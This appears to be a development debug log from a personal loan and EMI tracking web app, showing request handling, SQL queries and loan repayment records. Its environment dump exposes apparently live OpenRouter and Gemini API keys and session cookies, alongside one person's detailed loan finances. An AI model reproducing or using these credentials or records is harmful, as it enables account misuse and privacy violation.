    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2026-03-13T06:45:36.651Z server-connect:router Serving templateView /emis
2026-03-13T06:45:36.651Z server-connect:app Executing action step identify
2026-03-13T06:45:36.651Z server-connect:app options: { provider: 'security' }
2026-03-13T06:45:36.651Z server-connect:output identity: 1
2026-03-13T06:45:36.651Z server-connect:app Executing action step restrict
2026-03-13T06:45:36.651Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-03-13T06:45:36.652Z server-connect:output restrict: undefined
2026-03-13T06:45:36.652Z server-connect:router Render template emis
2026-03-13T06:45:36.652Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'sec-ch-ua-mobile': '?0',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/emis',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'x-forwarded-for': '65.20.70.39',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-03-14T06:45:32.065Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/emis',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '65.20.70.39',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/emis',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not:A-Brand";v="99", "Google Chrome";v="145", "Chromium";v="145"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/emis',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A%2B6RDqoa9LbNQEpJ%2BLSRBsA%3D%3D.uK3rccL1x8lYd5SFqDftT%2FqDTpEgqmYSOcezt6LG9mj%2Ba5HWXWj0bWdw89OXs8Z%2Bmpr0jCzAb5TXuHc15ZrTBeVWBoGd6ocOX35iz3eAvE9%2BENNmG2KbXEN0Y04fipXe1QjTp5iRCGoGKU7C4x9oyz2Eu%2Fftr2FdwEj%2B6M7FWBs%3D.GdSMYrKDlg%2FBMGjmRcFujoNDJj9jJc%2FDYBOyH3G6ekE; your_r_git.sid=s%3A5PiKAgd_owRIDVKAZ242MbQ1MogSg3T1.CeNuc%2F3jQPjd8M%2BkbEQKtCc2hThz94%2F3FnOOac67sJ0',
    'HTTP_X_FORWARDED-FOR': '65.20.70.39',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-03-13T06:45:36.897Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-03-13T06:45:36.897Z server-connect:app Executing action step identify
2026-03-13T06:45:36.897Z server-connect:app options: { provider: 'security' }
2026-03-13T06:45:36.897Z server-connect:output identity: 1
2026-03-13T06:45:36.897Z server-connect:app Executing action step restrict
2026-03-13T06:45:36.897Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:45:36.898Z server-connect:output restrict: undefined
2026-03-13T06:45:36.898Z server-connect:app Executing action step custom
2026-03-13T06:45:36.898Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-03-13T06:45:36.904Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '14',
    total_remaining_amount: 210196,
    total_paid_amount: 690644,
    percentage_paid: '76.67'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 72972,
    total_paid_amount: 583776,
    percentage_paid: '88.89'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '24',
    total_remaining_amount: 554616,
    total_paid_amount: 831924,
    percentage_paid: '60.00'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '11',
    total_remaining_amount: 242341,
    total_paid_amount: 815147,
    percentage_paid: '77.08'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '5',
    total_remaining_amount: 26680,
    total_paid_amount: 165416,
    percentage_paid: '86.11'
  }
]
2026-03-13T06:45:47.655Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-03-13T06:45:47.658Z server-connect:app Executing action step identify
2026-03-13T06:45:47.658Z server-connect:app options: { provider: 'security' }
2026-03-13T06:45:47.658Z server-connect:output identity: 1
2026-03-13T06:45:47.658Z server-connect:app Executing action step restrict
2026-03-13T06:45:47.658Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:45:47.659Z server-connect:output restrict: undefined
2026-03-13T06:45:47.659Z server-connect:app Executing action step select
2026-03-13T06:45:47.659Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-03-13T06:45:47.660Z server-connect:output list: [
  {
    id: 52,
    loan_id: 9,
    due_date: '2022-06-07T18:30:00.000Z',
    paid_on: '2022-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 53,
    loan_id: 9,
    due_date: '2022-07-07T18:30:00.000Z',
    paid_on: '2022-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 54,
    loan_id: 9,
    due_date: '2022-08-07T18:30:00.000Z',
    paid_on: '2022-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 55,
    loan_id: 9,
    due_date: '2022-09-07T18:30:00.000Z',
    paid_on: '2022-09-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 56,
    loan_id: 9,
    due_date: '2022-10-07T18:30:00.000Z',
    paid_on: '2022-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 57,
    loan_id: 9,
    due_date: '2022-11-07T18:30:00.000Z',
    paid_on: '2022-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 58,
    loan_id: 9,
    due_date: '2022-12-07T18:30:00.000Z',
    paid_on: '2022-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 59,
    loan_id: 9,
    due_date: '2023-01-07T18:30:00.000Z',
    paid_on: '2023-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 60,
    loan_id: 9,
    due_date: '2023-02-07T18:30:00.000Z',
    paid_on: '2023-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 61,
    loan_id: 9,
    due_date: '2023-03-07T18:30:00.000Z',
    paid_on: '2023-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 62,
    loan_id: 9,
    due_date: '2023-04-07T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 63,
    loan_id: 9,
    due_date: '2023-05-07T18:30:00.000Z',
    paid_on: '2023-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 64,
    loan_id: 9,
    due_date: '2023-06-07T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 65,
    loan_id: 9,
    due_date: '2023-07-07T18:30:00.000Z',
    paid_on: '2023-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 66,
    loan_id: 9,
    due_date: '2023-08-07T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 67,
    loan_id: 9,
    due_date: '2023-09-07T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 68,
    loan_id: 9,
    due_date: '2023-10-07T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 69,
    loan_id: 9,
    due_date: '2023-11-07T18:30:00.000Z',
    paid_on: '2023-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 70,
    loan_id: 9,
    due_date: '2023-12-07T18:30:00.000Z',
    paid_on: '2023-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 71,
    loan_id: 9,
    due_date: '2024-01-07T18:30:00.000Z',
    paid_on: '2024-01-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 72,
    loan_id: 9,
    due_date: '2024-02-07T18:30:00.000Z',
    paid_on: '2024-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 73,
    loan_id: 9,
    due_date: '2024-03-07T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 74,
    loan_id: 9,
    due_date: '2024-04-07T18:30:00.000Z',
    paid_on: '2024-04-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 75,
    loan_id: 9,
    due_date: '2024-05-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 76,
    loan_id: 9,
    due_date: '2024-06-07T18:30:00.000Z',
    paid_on: '2024-06-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 77,
    loan_id: 9,
    due_date: '2024-07-07T18:30:00.000Z',
    paid_on: '2024-07-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 78,
    loan_id: 9,
    due_date: '2024-08-07T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 79,
    loan_id: 9,
    due_date: '2024-09-07T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 80,
    loan_id: 9,
    due_date: '2024-10-07T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 81,
    loan_id: 9,
    due_date: '2024-11-07T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 82,
    loan_id: 9,
    due_date: '2024-12-07T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 83,
    loan_id: 9,
    due_date: '2025-01-07T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 84,
    loan_id: 9,
    due_date: '2025-02-07T18:30:00.000Z',
    paid_on: '2025-02-06T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 85,
    loan_id: 9,
    due_date: '2025-03-07T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 86,
    loan_id: 9,
    due_date: '2025-04-07T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 87,
    loan_id: 9,
    due_date: '2025-05-07T18:30:00.000Z',
    paid_on: '2025-05-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 88,
    loan_id: 9,
    due_date: '2025-06-07T18:30:00.000Z',
    paid_on: '2025-07-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 89,
    loan_id: 9,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 90,
    loan_id: 9,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 91,
    loan_id: 9,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-05T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 92,
    loan_id: 9,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 93,
    loan_id: 9,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 94,
    loan_id: 9,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 95,
    loan_id: 9,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 96,
    loan_id: 9,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 97,
    loan_id: 9,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: '2026-03-07T18:30:00.000Z',
    loan_amount: 15014,
    status: 1
  },
  {
    id: 98,
    loan_id: 9,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 99,
    loan_id: 9,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 100,
    loan_id: 9,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 101,
    loan_id: 9,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 102,
    loan_id: 9,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 103,
    loan_id: 9,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 104,
    loan_id: 9,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 105,
    loan_id: 9,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 106,
    loan_id: 9,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 107,
    loan_id: 9,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 108,
    loan_id: 9,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 109,
    loan_id: 9,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 110,
    loan_id: 9,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  },
  {
    id: 111,
    loan_id: 9,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 15014,
    status: 0
  }
]
2026-03-13T06:45:52.812Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-03-13T06:45:52.812Z server-connect:app Executing action step identify
2026-03-13T06:45:52.812Z server-connect:app options: { provider: 'security' }
2026-03-13T06:45:52.813Z server-connect:output identity: 1
2026-03-13T06:45:52.813Z server-connect:app Executing action step restrict
2026-03-13T06:45:52.813Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-03-13T06:45:52.813Z server-connect:output restrict: undefined
2026-03-13T06:45:52.813Z server-connect:app Executing action step select
2026-03-13T06:45:52.813Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-03-13T06:45:52.814Z server-connect:output list: [
  {
    id: 124,
    loan_id: 10,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 125,
    loan_id: 10,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 126,
    loan_id: 10,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 127,
    loan_id: 10,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 128,
    loan_id: 10,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 129,
    loan_id: 10,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 130,
    loan_id: 10,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 131,
    loan_id: 10,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 132,
    loan_id: 10,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 133,
    loan_id: 10,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 134,
    loan_id: 10,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 135,
    loan_id: 10,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 136,
    loan_id: 10,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 137,
    loan_id: 10,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 138,
    loan_id: 10,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-06-24T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 139,
    loan_id: 10,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 140,
    loan_id: 10,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-08-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 141,
    loan_id: 10,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-13T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 142,
    loan_id: 10,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 143,
    loan_id: 10,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 144,
    loan_id: 10,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 145,
    loan_id: 10,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 146,
    loan_id: 10,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 147,
    loan_id: 10,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 148,
    loan_id: 10,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 149,
    loan_id: 10,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 150,
    loan_id: 10,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-04T18:30:00.000Z',
    loan_amount: 18243,
    status: 0
  },
  {
    id: 151,
    loan_id: 10,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-06T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 152,
    loan_id: 10,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-06-30T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 153,
    loan_id: 10,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 154,
    loan_id: 10,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-02T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 155,
    loan_id: 10,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 156,
    loan_id: 10,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-11T18:30:00.000Z',
    loan_amount: 18243,
    status: 1
  },
  {
    id: 157,
    loan_id: 10,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 18243,
    status: 0
  },
  {
    id: 158,
    loan_id: 10,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: null,
